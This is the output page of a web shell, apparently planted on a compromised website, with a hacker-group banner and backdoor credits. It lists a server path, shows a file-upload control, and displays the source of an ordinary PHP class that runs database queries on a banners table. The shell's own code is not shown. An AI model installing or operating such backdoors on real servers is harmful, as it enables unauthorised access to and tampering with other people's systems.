Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.banners.php

<?php 

require_once('class.dbaccess.php');
require_once('class.banner.php');
require_once('class.filter.php');
require_once('class.page.php');
require_once('class.estados.php');

class Banners extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		$sql.= " WHERE Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%'";
		
		if ((isset($filter['IdEstado'])) && ($filter['IdEstado'] != ''))
		{	
			$sql.= " AND IdEstado = " . DB::Number($filter['IdEstado']);
		}		
		
		if ((isset($filter['FechaHasta'])) && ($filter['FechaHasta'] != ''))
		{	
			$sql.= " AND (FechaHasta IS NULL OR FechaHasta >= " . DB::Date($filter['FechaHasta']) . ")";
		}		
		
		return $sql;
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblBanners";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Orden, Nombre";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";
						
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oBanner = new Banner();
			$oBanner->ParseFromArray($oRow);
			
			array_push($arr, $oBanner);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}
	

	public function GetById($IdBanner)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblBanners";
		$sql.= " WHERE IdBanner = " . DB::Number($IdBanner);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oBanner = new Banner();
		$oBanner->ParseFromArray($oRow);
		
		return $oBanner;		
	}

	public function GetByNombre($Nombre)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblBanners";
		$sql.= " WHERE Nombre LIKE " . DB::String($Nombre);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oBanner = new Banner();
		$oBanner->ParseFromArray($oRow);
		
		return $oBanner;
	}

	
	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblBanners";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function Create(Banner $oBanner)
	{
		$arr = array
		(
			'Link' 	=> DB::String($oBanner->Link),
			'Nombre' 	=> DB::String($oBanner->Nombre),
			'Imagen' 	=> DB::String($oBanner->Imagen),
			'Orden' 	=> DB::Number($oBanner->Orden),
			'IdEstado' 	=> DB::Number($oBanner->IdEstado),
			'FechaHasta'=> DB::Date($oBanner->FechaHasta)
		);
		
		if (!$this->Insert('tblBanners', $arr))
			return false;
			
		return $oBanner;
	}
	
	
	public function Update(Banner $oBanner)
	{
		$where = " IdBanner = " . DB::Number($oBanner->IdBanner);
		
		$arr = array
		(
			'Link' 	=> DB::String($oBanner->Link),
			'Nombre' 	=> DB::String($oBanner->Nombre),
			'Imagen' 	=> DB::String($oBanner->Imagen),
			'Orden' 	=> DB::Number($oBanner->Orden),
			'IdEstado' 	=> DB::Number($oBanner->IdEstado),
			'FechaHasta'=> DB::Date($oBanner->FechaHasta)
		);
		
		if (!DBAccess::UpdateEntidad('tblBanners', $arr, $where))
			return false;
		
		return $oBanner;
	}


	public function UpdateChecks(Banner $oBanner)
	{
		if (!DBAccess::$db->Begin())
			return false;

		$where = " IdBanner = " . DB::Number($oBanner->IdBanner);
		
		$arr = array('IdEstado' => DB::Number($oBanner->IdEstado));
		
		if (!DBAccess::UpdateEntidad('tblBanners', $arr, $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}
			
		DBAccess::$db->Commit();
			
		return $oBanner;
	}
	

	public function Delete($IdBanner)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdBanner = " . DB::Number($IdBanner);

		if (!DBAccess::DeleteEntidad('tblBanners', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat